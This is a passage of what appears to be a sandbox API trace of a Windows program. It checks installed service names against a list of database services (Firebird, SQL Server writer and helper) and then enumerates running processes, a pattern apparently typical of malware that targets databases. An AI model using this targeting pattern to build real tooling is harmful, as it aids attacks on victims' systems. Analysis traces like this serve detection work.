(lpString1="sqlwriter", lpString2="EventLog") returned 1 [0280.808] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0280.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0280.808] lstrlenW (lpString="EventSystem") returned 11 [0280.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0280.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0280.808] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0280.808] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0280.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0280.808] lstrlenW (lpString="FontCache") returned 9 [0280.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0280.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0280.808] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0280.808] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0280.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0280.808] lstrlenW (lpString="gpsvc") returned 5 [0280.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0280.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0280.809] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0280.809] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0280.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0280.809] lstrlenW (lpString="iphlpsvc") returned 8 [0280.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0280.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0280.809] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0280.809] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0280.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0280.809] lstrlenW (lpString="KeyIso") returned 6 [0280.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0280.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0280.809] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0280.809] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0280.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0280.809] lstrlenW (lpString="LanmanServer") returned 12 [0280.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0280.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0280.809] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0280.809] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0280.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0280.809] lstrlenW (lpString="LanmanWorkstation") returned 17 [0280.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0280.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0280.809] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0280.809] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0280.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0280.809] lstrlenW (lpString="lfsvc") returned 5 [0280.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0280.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0280.809] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0280.809] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0280.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0280.810] lstrlenW (lpString="lmhosts") returned 7 [0280.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0280.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0280.810] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0280.810] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0280.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0280.810] lstrlenW (lpString="LSM") returned 3 [0280.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0280.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0280.810] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0280.810] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0280.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0280.810] lstrlenW (lpString="MpsSvc") returned 6 [0280.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0280.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0280.810] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0280.810] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0280.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0280.810] lstrlenW (lpString="NcbService") returned 10 [0280.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0280.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0280.810] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0280.810] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0280.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0280.810] lstrlenW (lpString="netprofm") returned 8 [0280.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0280.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0280.810] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0280.810] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0280.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0280.811] lstrlenW (lpString="NgcSvc") returned 6 [0280.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0280.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0280.811] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0280.811] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0280.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0280.811] lstrlenW (lpString="NlaSvc") returned 6 [0280.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0280.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0280.811] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0280.811] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0280.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0280.811] lstrlenW (lpString="nsi") returned 3 [0280.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0280.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0280.811] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0280.811] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0280.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0280.811] lstrlenW (lpString="PcaSvc") returned 6 [0280.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0280.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0280.811] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0280.811] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0280.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0280.811] lstrlenW (lpString="PlugPlay") returned 8 [0280.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0280.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0280.811] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0280.811] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0280.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0280.811] lstrlenW (lpString="Power") returned 5 [0280.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0280.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0280.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0280.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0280.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0280.812] lstrlenW (lpString="ProfSvc") returned 7 [0280.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0280.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0280.812] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0280.812] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0280.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0280.812] lstrlenW (lpString="RpcEptMapper") returned 12 [0280.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0280.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0280.812] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0280.812] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0280.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0280.812] lstrlenW (lpString="RpcSs") returned 5 [0280.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0280.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0280.812] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0280.812] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0280.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0280.812] lstrlenW (lpString="SamSs") returned 5 [0280.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0280.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0280.812] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0280.812] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0280.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0280.812] lstrlenW (lpString="Schedule") returned 8 [0280.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0280.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0280.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0280.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0280.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0280.813] lstrlenW (lpString="SecurityHealthService") returned 21 [0280.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0280.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0280.813] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0280.813] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0280.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0280.813] lstrlenW (lpString="SENS") returned 4 [0280.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0280.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0280.813] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0280.813] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0280.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0280.813] lstrlenW (lpString="ShellHWDetection") returned 16 [0280.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0280.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0280.813] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0280.813] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0280.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0280.813] lstrlenW (lpString="Spooler") returned 7 [0280.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0280.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0281.042] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0281.042] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0281.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0281.042] lstrlenW (lpString="SSDPSRV") returned 7 [0281.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0281.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0281.042] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0281.043] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0281.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0281.043] lstrlenW (lpString="StateRepository") returned 15 [0281.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0281.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0281.043] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0281.043] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0281.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0281.043] lstrlenW (lpString="SysMain") returned 7 [0281.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0281.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0281.043] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0281.043] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0281.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0281.043] lstrlenW (lpString="SystemEventsBroker") returned 18 [0281.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0281.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0281.043] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0281.043] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0281.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5081068 | out: hHeap=0x670000) returned 1 [0281.043] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4e4 [0281.049] Process32FirstW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.050] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0281.050] lstrlenW (lpString="System") returned 6 [0281.050] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0281.050] lstrlenW (lpString="smss.exe") returned 8 [0281.051] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.051] lstrlenW (lpString="csrss.exe") returned 9 [0281.051] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0281.051] lstrlenW (lpString="wininit.exe") returned 11 [0281.051] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.052] lstrlenW (lpString="csrss.exe") returned 9 [0281.052] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0281.052] lstrlenW (lpString="winlogon.exe") returned 12 [0281.052] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0281.053] lstrlenW (lpString="services.exe") returned 12 [0281.053] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0281.053] lstrlenW (lpString="lsass.exe") returned 9 [0281.053] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0281.054] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0281.054] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0281.054] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0281.054] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.054] lstrlenW (lpString="svchost.exe") returned 11 [0281.054] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.055] lstrlenW (lpString="svchost.exe") returned 11 [0281.055] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0281.055] lstrlenW (lpString="dwm.exe") returned 7 [0281.055] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.056] lstrlenW (lpString="svchost.exe") returned 11 [0281.056] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.056] lstrlenW (lpString="svchost.exe") returned 11 [0281.056] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.057] lstrlenW (lpString="svchost.exe") returned 11 [0281.057] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.057] lstrlenW (lpString="svchost.exe") returned 11 [0281.057] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.058] lstrlenW (lpString="svchost.exe") returned 11 [0281.058] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.058] lstrlenW (lpString="svchost.exe") returned 11 [0281.058] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.059] lstrlenW (lpString="svchost.exe") returned 11 [0281.059] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.059] lstrlenW (lpString="svchost.exe") returned 11 [0281.059] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.060] lstrlenW (lpString="svchost.exe") returned 11 [0281.060] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.060] lstrlenW (lpString="svchost.exe") returned 11 [0281.060] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0281.061] lstrlenW (lpString="spoolsv.exe") returned 11 [0281.061] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.061] lstrlenW (lpString="svchost.exe") returned 11 [0281.061] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0281.062] lstrlenW (lpString="audiodg.exe") returned 11 [0281.062] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0281.062] lstrlenW (lpString="sihost.exe") returned 10 [0281.062] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.062] lstrlenW (lpString="svchost.exe") returned 11 [0281.062] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0281.063] lstrlenW (lpString="taskhostw.exe") returned 13 [0281.063] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: 